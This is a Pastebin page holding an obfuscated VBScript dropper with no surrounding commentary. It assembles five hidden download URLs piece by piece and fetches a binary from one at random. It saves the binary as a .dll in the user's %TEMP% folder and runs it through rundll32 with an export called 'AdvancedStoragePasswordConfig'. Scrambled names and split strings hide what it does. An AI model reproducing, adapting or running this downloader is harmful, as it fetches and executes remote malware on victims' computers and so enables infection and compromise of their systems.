Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- On Error Resume Next
- Const Jk7 = 1, RYg6 = 2, GEi = 8
- Const Og = 1, DVe = 2, Jg5 = "437", SJz8 = 2
- Function DNk(XJw8)
- Dim LFr, AEd3, HJx
- Set LFr = CreateObject("ADODB.Stream")
- LFr.type = DVe
- LFr.Charset = Jg5
- LFr.Open
- LFr.LoadFromFile XJw8
- HJx = LFr.ReadText
- LFr.Close
- DNk = Yj(HJx)
- End Function
- Sub CBj(XJw8, ZJe)
- Dim LFr, HJx
- Set LFr = CreateObject("ADODB.Stream")
- LFr.type = DVe
- LFr.Charset = Jg5
- LFr.Open
- HJx = Nj2(ZJe)
- LFr.WriteText HJx
- LFr.SaveToFile XJw8, SJz8
- LFr.Close
- End Sub
- Function Bs8(Wk9)
- Dim HJx, Dd8(0)
- If Wk9 <= 0 Then
- Err.Raise 50001, "", "123", "", 0
- ElseIf Wk9 = 1 Then
- Bs8 = Dd8
- Else
- HJx = Space(Wk9-1)
- Bs8 = Split(HJx, " ")
- End If
- End Function
- Function Zq6(url)
- Dim YDh, Bq0, AEd3, Bg
- Dim OBp, MEk(1)
- Set YDh = CreateObject("Scripting.FileSystemObject")
- MEk(0) = "WinHttp.WinHttpRequest.5.1"
- MEk(1) = "MSXML2.XMLHTTP"
- For Each OBp in MEk
- Err.Clear
- Set Bq0 = CreateObject(OBp)
- If Err.Number = 0 Then
- Exit For
- End If
- Next
- Bq0.Open "GET", url, False
- Bq0.Send
- AEd3 = Bs8(LenB(Bq0.ResponseBody))
- For Bg = 1 To LenB(Bq0.ResponseBody)
- AEd3(Bg-1) = AscB(MidB(Bq0.ResponseBody, Bg, 1))
- Next
- Zq6 = AEd3
- End Function
- Sub Ye( RFz5, DJc )
- Dim Bg, Rq5, YDh, Bq0, QPn5
- Set YDh = CreateObject( "Scripting.FileSystemObject" )
- If YDh.FolderExists( DJc ) Then
- QPn5 = YDh.BuildPath( DJc, Mid( RFz5, InStrRev( RFz5, "/" ) + 1 ) )
- ElseIf YDh.FolderExists( Left( DJc, InStrRev( DJc, "\" ) - 1 ) ) Then
- QPn5 = DJc
- Else
- Exit Sub
- End If
- Set Rq5 = YDh.OpenTextFile( QPn5, RYg6, True )
- Set Bq0 = CreateObject( "WinHttp.WinHttpRequest.5.1" )
- Bq0.Open "GET", RFz5, False
- Bq0.Send
- If LenB(Bq0.ResponseBody) < 100000 Or LenB(Bq0.ResponseBody) > 250000 Then
- Err.Raise 50011, "", "received shit", "", 0
- Exit Sub
- End If
- For Bg = 1 To LenB( Bq0.ResponseBody )
- Rq5.Write Chr( AscB( MidB( Bq0.ResponseBody, Bg, 1 ) ) )
- Next
- Rq5.Close( )
- End Sub
- Function UOh()
- Dim BRq, TBh, Be6
- Set BRq = CreateObject("WScript.Shell")
- Set TBh = BRq.Environment("System")
- Be6 = TBh("PROCESSOR_ARCHITECTURE")
- If LCase(Be6) = "amd64" Then
- UOh = BRq.ExpandEnvironmentStrings("%SystemRoot%\SysWOW64\rundll32.exe")
- Else
- UOh = BRq.ExpandEnvironmentStrings("%SystemRoot%\system32\rundll32.exe")
- End If
- End Function
- Sub UYw0(Wi, KBq, Hk4)
- Dim BRq, YDh, Rq5, WWp, Jx5
- Set BRq = CreateObject("WScript.Shell")
- Set YDh = CreateObject("Scripting.FileSystemObject")
- Set Rq5 = YDh.GetFile(Wi)
- WWp = Rq5.ShortPath
- Jx5 = UOh() + " " + WWp + "," + KBq + " " + Hk4
- If 2 > 1 Then
- BRq.Run(Jx5)
- End If
- End Sub
- Function Kf7(Wi)
- Dim YDh
- Set YDh = CreateObject("Scripting.FileSystemObject")
- Kf7 = YDh.FileExists(Wi)
- End Function
- Function Jq0(Wi)
- Dim YDh, Rq5
- Set YDh = CreateObject("Scripting.FileSystemObject")
- Set Rq5 = YDh.GetFile(Wi)
- Jq0 = Rq5.ShortPath
- End Function
- Function Ev6(Qt, UHs)
- Dim Wk9
- Wk9 = CDbl(Int(CDbl(Qt)/CDbl(UHs)))
- Ev6 = CDbl(Qt) - Wk9 * CDbl(UHs)
- End Function
- Function Vp(Gx, HJx)
- HJx(1) = 172 * HJx(1) Mod 30307
- HJx(0) = 171 * HJx(0) Mod 30269
- HJx(2) = 170 * HJx(2) Mod 30323
- Dim ZWw
- ZWw = Ev6((CDbl(HJx(0))/30269.0 + CDbl(HJx(1))/30307.0 + CDbl(HJx(2))/30323.0), 1.0)
- Vp = Int(ZWw * CDbl(Gx))
- End Function
- Function Va6(HAq3)
- Va6 = CInt(HAq3*Rnd())
- End Function
- Sub YXi0(Wc7)
- WScript.Sleep(Wc7)
- End Sub
- Randomize
- Dim EHi(2), EKj9, HZr(4), XJw8
- EHi(0) = 21898
- EHi(1) = 24911
- EHi(2) = 26762
- EKj9 = 50
- If 1=1 Then
- HZr(0) = "ht"&"tp://" & "5" & "1" & "q" & "u" & "d" & "u" & "." & "c" & "o" & "m" & "/" & "m" & "q" & "y" & "2" & "p" & "j" & "4"
- End If
- If 1=1 Then
- HZr(1) = "ht"&"tp://" & "b" & "j" & "z" & "s" & "t" & "." & "c" & "n" & "/" & "q" & "g" & "q" & "4" & "d" & "x"
- End If
- If 1=1 Then
- HZr(2) = "ht"&"tp://" & "d" & "a" & "n" & "a" & "p" & "a" & "r" & "d" & "a" & "z" & "." & "n" & "e" & "t" & "/" & "z" & "r" & "r" & "8" & "r" & "t" & "z"
- End If
- If 1=1 Then
- HZr(3) = "ht"&"tp://" & "l" & "i" & "t" & "c" & "h" & "l" & "o" & "p" & "e" & "r" & "." & "c" & "o" & "m" & "/" & "6" & "6" & "q" & "p" & "o" & "s" & "7" & "m"
- End If
- If 1=1 Then
- HZr(4) = "ht"&"tp://" & "z" & "i" & "z" & "z" & "h" & "a" & "i" & "d" & "a" & "." & "c" & "o" & "m" & "/" & "6" & "z" & "d" & "y" & "9" & "i" & "v" & "o"
- End If
- XJw8 = "TOHYDHko8jeC3IES"
- Dim BRq, Yt1, Vo, Xp1, Wc7
- Set objShell = CreateObject("WS"&"cript.Shell")
- Yt1 = objShell.ExpandEnvironmentStrings("%" & "T"&"EMP%")
- Dim CTu, Wf, YSj, ZVv6, Bg
- Wf = False
- For Bg=0 To 10: Do
- Vo = Yt1 + "\" + XJw8 + Chr(48+Bg) + ".dl"&"l"
- If Kf7(Vo) Then
- Xp1 = Jq0(Vo) & ".txt"
- If Kf7(Xp1) Then
- WScript.Quit(0)
- End If
- End If
- If Not Wf Then
- CTu = Va6(UBound(HZr))
- Ye HZr(CTu), Vo
- If Err.Number <> 0 Then
- Exit Do
- End If
- Wf = True
- End If
- UYw0 Vo, "A"&"d"&"vancedStoragePasswordConfig", "1"&"47"
- WScript.Quit(1)
- Loop While False: Next
- If 3=3 Then
- WScript.Quit(1)
- End If
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement